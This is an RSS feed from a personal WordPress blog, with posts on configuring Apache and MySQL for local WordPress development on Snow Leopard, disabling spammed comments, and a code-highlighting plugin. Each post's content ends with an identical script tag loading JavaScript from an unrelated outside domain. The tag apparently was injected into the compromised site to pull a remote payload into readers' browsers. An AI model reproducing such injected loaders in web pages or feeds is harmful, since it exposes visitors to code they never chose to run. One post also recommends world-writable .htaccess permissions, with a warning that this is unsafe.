<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>random() &#187; wordpress</title>
	<atom:link href="http://blog.maxgarfinkel.com/archives/category/web-programming/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.maxgarfinkel.com</link>
	<description>All sorts, who knows?</description>
	<lastBuildDate>Thu, 19 Aug 2010 20:07:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Setting up wordpress on snowleopard</title>
		<link>http://blog.maxgarfinkel.com/archives/130</link>
		<comments>http://blog.maxgarfinkel.com/archives/130#comments</comments>
		<pubDate>Sat, 10 Oct 2009 10:41:55 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=130</guid>
		<description><![CDATA[I have been configuring a local site to do wordpress dev on snow leopard. I ran into problems when trying to configure the url rewriting. I found a great post however it didn&#8217;t quite get it working so here is what I had to do. change the httpd.conf file. This is located in etc/apache2/httpd.conf open it [...]]]></description>
			<content:encoded><![CDATA[<p>I have been configuring a local site to do wordpress dev on snow leopard. I ran into problems when trying to configure the url rewriting. I found a <a title="setting up .htaccess in snow leopard" href="http://www.clagnut.com/blog/350/" target="_blank">great post </a> however it didn&#8217;t quite get it working so here is what I had to do.</p>
<ol>
<li>change the httpd.conf file. This is located in etc/apache2/httpd.conf open it in something like nano

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">nano</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>apache2<span style="color: #000000; font-weight: bold;">/</span>httpd.conf</pre></div></div>

<p>            Find the section that looks like this</p>
<pre>&#60Directory /&#62
    Options FollowSymLinks
    AllowOverride None
    Order deny,allow
    Deny from all
&#60/Directory&#62</pre>
<p>and change the<b> AllowOverride None</b> to<b> AllowOverride All</b>
        </li>
<li>Next up we need to change the conf file for the user that requires .htaccess. This is done by navigating to /etc/apache2/users/ and finding the file <em>username</em>.conf. This needs to be edited in something like nano again to look like this:
<pre>&#60Directory "/Users/maxgarfinkel/Sites/"&#62
    Options Indexes MultiViews FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all
&#60/Directory&#62
</pre>
<p>It was the lack of <b>FollowSymLinks</b> that caused me to get Forbidden errors on the site.
</li>
<li>Finally we need to create the .htaccess file in the sites folder and if you want wordpress to be able to write to it you should make it writeable by every one. This is bad so only do it on machine <b>not</b> exposed to the world! The command for that is

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">666</span></pre></div></div>

<p> If anyone knows the safe permissions to allow wordpress to write to the .htaccess but not any tom dick or harry, lemme know!</li>
</ol>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/130/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!</title>
		<link>http://blog.maxgarfinkel.com/archives/124</link>
		<comments>http://blog.maxgarfinkel.com/archives/124#comments</comments>
		<pubDate>Sun, 04 Oct 2009 21:08:05 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Bash Linux & Apache]]></category>
		<category><![CDATA[Web programming]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=124</guid>
		<description><![CDATA[Great article on getting php mysql running on Snow Leopord. One caveat however, the poster talks about renaming the mysql folder in /usr/local/. In the comments other users point out that you shouldn&#8217;t do this, instead you should create a symbolic link to this folder. So Instead of renaming the folder mysql-5.0.77-osx10.5-x86_32 to mysql you [...]]]></description>
			<content:encoded><![CDATA[<p>Great article on getting php mysql running on Snow Leopord. One caveat however, the poster talks about renaming the mysql folder in /usr/local/. In the comments other users point out that you shouldn&#8217;t do this, instead you should create a symbolic link to this folder.</p>
<p>So Instead of renaming the folder <em>mysql-5.0.77-osx10.5-x86_32</em> to <em>mysql</em> you should create a symbolic link called <em>mysql </em> that points to the <em>mysql-5.0.77-osx10.5-x86_32 </em>folder. Further more you might run into problems if you use the folder <em>mysql-5.0.77-osx10.5-x86_32 </em>as this is the 32bit version. I had a version named <em>mysql-5.1.35-osx10.5-x86_64 </em>which is both a newer version and 64 bit. This is the reason for creating the symbolic link I guess, so you can keep multiple versions of mysql, nicely labeled and activate the one you need. Once I set this up everything was worked great.</p>
<p><a href="http://wordpress.org/support/topic/306878">WordPress › Support » Snow Leopard, Apache, PHP, MySQL and WordPress!</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/124/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Temporarily disabled comments</title>
		<link>http://blog.maxgarfinkel.com/archives/12</link>
		<comments>http://blog.maxgarfinkel.com/archives/12#comments</comments>
		<pubDate>Tue, 26 Jun 2007 08:24:23 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/12</guid>
		<description><![CDATA[Some mofos&#8217; are relentlessly spamming the comments, so I&#8217;m gonna turn them off for a bit and see if that stops &#8216;em. Wankers!]]></description>
			<content:encoded><![CDATA[<p>Some mofos&#8217; are relentlessly spamming the comments, so I&#8217;m gonna turn them off for a bit and see if that stops &#8216;em. Wankers!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/12/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>html code highlighting for wordpress</title>
		<link>http://blog.maxgarfinkel.com/archives/7</link>
		<comments>http://blog.maxgarfinkel.com/archives/7#comments</comments>
		<pubDate>Sun, 08 Apr 2007 10:10:09 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/7</guid>
		<description><![CDATA[I always wondered how people managed to highlight their code in blogs and forums. First I discovered that SubEthaEdit can output your code as coloured html, but this wasn&#8217;t perfect, as I don&#8217;t usually code with it. Then I discovered the Code Snippet plugin for WordPress. All I have to do is wrap the code [...]]]></description>
			<content:encoded><![CDATA[<p>I always wondered how people managed to highlight their code in blogs and forums.  First I discovered that <a href="http://www.codingmonkeys.de/subethaedit/">SubEthaEdit</a> can output your code as coloured html, but this wasn&#8217;t perfect, as I don&#8217;t usually code with it. Then I discovered <a href="http://wordpress.org/extend/plugins/codesnippet-20/">the Code Snippet plugin</a> for WordPress.  All I have to do is wrap the code in [code lang="lang"]code here[/code].  You just replace the second lang with the language you&#8217;re using, e.g. bash or actionscript, etc., and it does the rest!  I gotta say, the colours it marks my actionscript with aren&#8217;t the ones the Flash IDE uses, but I suspect there is a stylesheet somewhere I could use to tweek that.</p>
<p>Supported languages are:</p>
<ul> * actionscript-french<br />
* actionscript<br />
* ada<br />
* apache<br />
* applescript<br />
* asm<br />
* asp<br />
* bash<br />
* caddcl<br />
* cadlisp<br />
* c_mac<br />
* c<br />
* cpp<br />
* csharp<br />
* css-gen<br />
* css<br />
* delphi<br />
* diff<br />
* div<br />
* dos<br />
* d<br />
* eiffel<br />
* freebasic<br />
* gml<br />
* html4strict<br />
* ini<br />
* inno<br />
* java<br />
* javascript<br />
* lisp<br />
* lua<br />
* matlab<br />
* mpasm<br />
* nsis<br />
* objc<br />
* oobas<br />
* oracle8<br />
* pascal<br />
* perl<br />
* php-brief<br />
* php<br />
* python<br />
* qbasic<br />
* sdlbasic<br />
* smarty<br />
* sql<br />
* vbnet<br />
* vb<br />
* vhdl<br />
* visualfoxpro<br />
* xml</ul>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/7/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
